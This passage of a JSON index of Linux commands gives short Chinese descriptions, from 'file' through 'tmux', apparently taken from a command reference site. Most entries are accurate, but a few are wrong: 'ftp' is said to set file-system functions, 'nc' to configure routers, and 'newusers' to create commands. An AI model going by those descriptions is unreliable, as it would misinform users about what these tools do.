索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU 